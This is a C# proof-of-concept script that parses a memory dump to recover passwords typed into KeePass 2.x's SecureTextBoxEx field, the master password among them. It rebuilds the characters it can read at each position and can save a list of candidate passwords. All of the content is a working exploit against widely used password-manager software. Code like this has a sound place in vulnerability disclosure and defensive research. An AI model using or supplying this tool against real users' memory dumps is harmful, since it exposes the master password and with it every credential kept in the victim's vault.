// Simple POC script that searches a memory dump // for passwords written inside KeePass 2.x SecureTextBoxEx // text box, such as the master password. // usage: // dotnet run PATH_TO_DUMP [PATH_TO_PWDLIST] // // // where PATH_TO_PWDLIST is an optional argument for generating a list of all possible passwords beginning from the second character. using System.Runtime.InteropServices; using System.Text.RegularExpressions; namespace keepass_password_dumper; internal static class Program { // What characters are valid password characters private const string AllowedChars = "^[\x20-\xFF]+$"; // Read file in N-sized chunks private const int BufferSize = 524288; //2^19 private static void Main(string[] args) { Console.OutputEncoding = System.Text.Encoding.UTF8; var passwordChar = "●"; if (args.Length < 1) { Console.WriteLine("Please specify a file path as an argument."); return; } var filePath = args[0]; if (!File.Exists(filePath)) { Console.WriteLine("File not found."); return; } var pwdListPath = args.Length >= 2 ? args[1] : string.Empty; var candidates = new Dictionary>(); var currentStrLen = 0; var debugStr = string.Empty; using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Read)) { var buffer = new byte[BufferSize]; int bytesRead; while ((bytesRead = fs.Read(buffer, 0, buffer.Length)) > 0) { for (var i = 0; i < bytesRead - 1; i++) { // ● = 0xCF 0x25 if (buffer[i] == 0xCF && buffer[i + 1] == 0x25) { currentStrLen++; i++; debugStr += passwordChar; } else { if (currentStrLen == 0) continue; currentStrLen++; string strChar; try { var character = new[] { buffer[i], buffer[i + 1] }; strChar = System.Text.Encoding.Unicode.GetString(character); } catch { continue; } var isValid = Regex.IsMatch(strChar, AllowedChars); if (isValid) { // Convert to UTF 8 if (!candidates.ContainsKey(currentStrLen)) { candidates.Add(currentStrLen, new HashSet { strChar }); } else { if (!candidates[currentStrLen].Contains(strChar)) candidates[currentStrLen].Add(strChar); } debugStr += strChar; Console.WriteLine($"Found: {debugStr}"); } currentStrLen = 0; debugStr = ""; } } } } // Print summary Console.WriteLine("\nPassword candidates (character positions):"); Console.WriteLine($"Unknown characters are displayed as \"{passwordChar}\""); Console.WriteLine($"1.:\t{passwordChar}"); var combined = passwordChar; var count = 2; foreach (var (key, value) in candidates.OrderBy(x => x.Key)) { while (key > count) { Console.WriteLine($"{count}.:\t{passwordChar}"); combined += passwordChar; count++; } Console.Write($"{key}.:\t"); if (value.Count != 1) combined += "{"; foreach (var c in value) { Console.Write($"{c}, "); combined += c; if (value.Count != 1) combined += ", "; } if (value.Count != 1) combined = combined[..^2] + "}"; Console.WriteLine(); count++; } Console.WriteLine($"Combined: {combined}"); if (pwdListPath == string.Empty) return; var pwdList = new List(); generatePwdList(candidates, pwdList, passwordChar); File.WriteAllLines(pwdListPath, pwdList); Console.WriteLine($"{pwdList.Count} possible passwords saved in {pwdListPath}. Unknown characters indicated as {passwordChar}"); } private static void generatePwdList( Dictionary> candidates, List pwdList, string unkownChar, string pwd = "", int prevKey = 0) { foreach (var kvp in candidates) { while (kvp.Key != prevKey +1) { pwd += unkownChar; prevKey ++; } prevKey = kvp.Key; if (kvp.Value.Count == 1) { pwd += kvp.Value.First(); continue; } foreach (var val in kvp.Value) { generatePwdList( candidates.Where(x => x.Key >= kvp.Key +1).ToDictionary(d => d.Key, d => d.Value), pwdList, unkownChar, pwd + val, prevKey); } return; } pwdList.Add(pwd); } }